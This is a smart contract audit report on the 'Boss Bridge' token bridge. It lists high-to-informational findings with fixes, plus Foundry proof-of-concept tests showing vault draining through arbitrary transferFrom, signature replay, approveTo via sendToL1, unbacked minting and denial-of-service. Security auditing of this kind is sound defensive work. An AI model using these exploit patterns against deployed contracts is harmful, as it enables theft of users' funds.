boss-bridge-audit report

Version 1.0

Audit

February 3, 2024

boss-bridge-audit report

Badal Sharma

feb 3, 2024

Prepared by: Badal Sharma Lead Auditors: - Badal Sharma

Table of Contents

    * [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
    * [H-5] `CREATE` opcode does not work on zksync era
    * [H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd
    * [H-7] `TokenFactory::deployToken` locks tokens forever
  - Medium
    * [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
  - Low
    * [L-1] Lack of event emission during withdrawals and sending tokesn to L1
    * [L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`
  - Informational
    * [I-1] Should be immuitable
    * [I-2] Iginore return value
    * [I-3] Should be external insted of public
    * [I-4] Should be private insted of public
    * [I-5] Insufficient test coverage

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Disclaimer

The Badal Sharma makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol

    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol

  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Known Issues

- We are aware the bridge is centralized and owned by a single user, aka it is centralized.
- We are missing some zero address checks/input validation intentionally to save gas.
- We have magic numbers defined as literals that should be constants.
- Assume the `deployToken` will always correctly have an L1Token.sol copy, and not some weird erc20

Executive Summary

This code is audit by Badal Sharma.....

Issues found

Severty	No of issue found
High	7
Medium	1
Low	2
Info	5
Gas	0
Total	15

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```diff
- function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```solidity
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the
       vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
        vaultBalance);

    vm.stopPrank();
}
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
        address attacker = makeAddr("attacker");
        address attackerInL2 = makeAddr("attackerInL2");

        // Assume the vault already holds some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        // Balances
        console2.log("Starting balance of attacker:", token.balanceOf(
            address(attacker)));
        console2.log("Starting balance of vault:", token.balanceOf(
            address(vault)));

        // An attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attackerInL2,
            attackerInitialBalance);

        // Operator signs withdrawal.
        (uint8 v, bytes32 r, bytes32 s) =
            _signMessage(_getTokenWithdrawalMessage(attacker,
                attackerInitialBalance), operator.key);

        // The attacker can reuse the signature and drain the vault.
        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
                attackerInitialBalance, v, r, s);
        }
        assertEq(token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);

        console2.log("Ending balance of attacker:", token.balanceOf(
            address(attacker)));
        console2.log("Ending balance of vault:", token.balanceOf(
            address(vault)));
    }
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
}
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

The `TokenFactory::deployToken` allows the owner to deploys a new ERC20 contract in Ethereum Mainnet and zksync era. Howerver, the `CREATE` opcode will not function correctly on zksync era because the compiler is not aware of the bytecode beforehand.

- for more information- https://docs.zksync.io/build/developer-reference/differences-with-ethereum.html#create-create2

```
function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner returns (address addr) {
        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

[H-6] `L1BossBridge::depositTokensToL2`'s DEPOSIT_LIMIT check allows contract to be DoS'd

Summary: In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2. Howerver, `L1BossBridge::depositTokensToL2` has a `DEPOSIT_LIMIT` because of that the malicious actor can DOS attack.

Vulnerability Details: The function depositTokensToL2 has a deposit limit that limits the amount of funds that a user can deposit into the bridges shown here

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
```

https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/1b33f63aef5b6b06acd99d49da65e1c71b40a4f7/src/L1BossBridg

The problem is that it uses the contract balance to track this invariant, opening the door for a malicious actor to make a donation to the vault contract to ensure that the deposit limit is reached causing a potential victim's harmless deposit to unexpectedly revert. See modified foundry test below:

```
function testDepositTokensToL2AllowsDos() public {
       address user2 = makeAddr("user2");

       vm.startPrank(user2);
        uint DOSamount = 20;
        deal(address(token), user2, DOSamount);
        token.approve(address(token), 20);

        token.transfer(address(vault), 20);
        vm.stopPrank();


        vm.startPrank(user);
        uint256 amount = tokenBridge.DEPOSIT_LIMIT() - 9;
        deal(address(token), user, amount);
        token.approve(address(tokenBridge), amount);

        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
           selector);
        tokenBridge.depositTokensToL2(user, userInL2, amount);
        vm.stopPrank();
```

Impact: User will not be able to deposit token to the bridge in some situations

Recommendations: Use a mapping to track the deposit limit of each use instead of using the contract balance

[H-7] `TokenFactory::deployToken` locks tokens forever

L1Token contract deployment from TokenFactory locks tokens forever

Vulnerability Details: `TokenFactory::deployToken` deploys `L1Token` contracts, but the `L1Token` mints initial supply to `msg.sender`, in this case, the `TokenFactory` contract itself. After deployment, there is no way to either transfer out these tokens or mint new ones, as the holder of the tokens, `TokenFactory`, has no functions for this, also not an upgradeable contract, so all token supply is locked forever.

Impact: High. Using this token factory to deploy tokens will result in unusable tokens, and no transfers can be made.

Recommendations: Consider passing a receiver address for the initial minted tokens, different from the msg.sender:

```
contract L1Token is ERC20 {
    uint256 private constant INITIAL_SUPPLY = 1_000_000;

-    constructor() ERC20("BossBridgeToken", "BBT") {
+    constructor(address receiver) ERC20("BossBridgeToken", "BBT") {
-         _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
+         _mint(receiver, INITIAL_SUPPLY * 10 ** decimals());
    }
}
```

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`

Summary: TokenFactory::deployToken is creating new token by taking token symbol and token contractByteCode as argument, owner can create multiple token with same symbol by mistake

Vulnerability Details: deployToken is not checking weather that token exists or not.

How it will work

Owner created a token with symbol TEST and it will store tokenAddress in s_tokenToAddress mapping Again owner created a token with symbol TEST and this will replace the previous tokenAddress with symbol

Here is the PoC

```

import { Test, console2 } from "forge-std/Test.sol";
import { ECDSA } from "openzeppelin/contracts/utils/cryptography/ECDSA.
    sol";
import { MessageHashUtils } from "openzeppelin/contracts/utils/
    cryptography/MessageHashUtils.sol";
import { Ownable } from "openzeppelin/contracts/access/Ownable.sol";
import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol";
import { L1BossBridge, L1Vault } from "../src/L1BossBridge.sol";
import { IERC20 } from "openzeppelin/contracts/interfaces/IERC20.sol";
import { L1Token } from "../src/L1Token.sol";
import { TokenFactory } from "../src/TokenFactory.sol";

contract L1BossBridgeTest is Test {
    event Deposit(address from, address to, uint256 amount);

    address deployer = makeAddr("deployer");
    address user = makeAddr("user");
    address userInL2 = makeAddr("userInL2");
    Account operator = makeAccount("operator");
    TokenFactory tokenFactory;
    address owner = makeAddr("owner");

    L1Token token;
    L1BossBridge tokenBridge;
    L1Vault vault;
    TokenFactory factory;

    function setUp() public {
       vm.startPrank(owner);
        tokenFactory = new TokenFactory();
        vm.stopPrank();

        vm.startPrank(deployer);

        // Deploy token and transfer the user some initial balance
        token = new L1Token();
        token.transfer(address(user), 1000e18);

        // Deploy bridge
        tokenBridge = new L1BossBridge(IERC20(token));
        vault = tokenBridge.vault();

        // Add a new allowed signer to the bridge
        tokenBridge.setSigner(operator.addr, true);

        factory = new TokenFactory();

        vm.stopPrank();
    }

     function testcanCreateMultipleTokenWithSameSymbol() public {
         vm.startPrank(owner);
        address tokenAddress = tokenFactory.deployToken("TEST", type(
            L1Token).creationCode);
        address duplicate = tokenFactory.deployToken("TEST", type(
            L1Token).creationCode);

        // here you can see tokenAddress is the duplicate one
        assertEq(tokenFactory.getTokenAddressFromSymbol("TEST"),
            duplicate);
    }
}
```

`To run test`

- forge test –mt test_can_create_duplicate_tokens -vvv

Impact: If that token is being used in validation then all the token holders will lose funds

Recommendations: Use checks to see, if that token exists in `TokenFactory::deployToken`

```
+     if (s_tokenToAddress[symbol] != address(0)) {
+          revert TokenFactory_AlreadyExist();
+
```

Informational

[I-1] Should be immuitable

- found in `L1Vault.sol`

```
    IERC20 public token;
```

[I-2] Iginore return value

- found in `L1Vault.sol`

```
// iginore return value
function approveTo(address target, uint256 amount) external onlyOwner {
        token.approve(target, amount);
    }
```

[I-3] Should be external insted of public

- found in `TokenFactory::deployToken`
- found in `TokenFactory::getTokenAddressFromSymbol`

[I-4] Should be private insted of public

- found in `L1BossBridge::sendToL1`

[I-5] Insufficient test coverage

```
Running tests...
| File                 | % Lines        | % Statements   | % Branches
      | % Funcs        |
| -------------------- | -------------- | -------------- |
  ------------- | ------------- |
| src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)
     | 83.33% (5/6)   |
| src/L1Vault.sol      | 0.00% (0/1)    | 0.00% (0/1)    | 100.00%
  (0/0) | 0.00% (0/1)   |
| src/TokenFactory.sol | 100.00% (4/4)  | 100.00% (4/4)  | 100.00%
  (0/0) | 100.00% (2/2) |
| Total                | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)
    | 77.78% (7/9)  |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.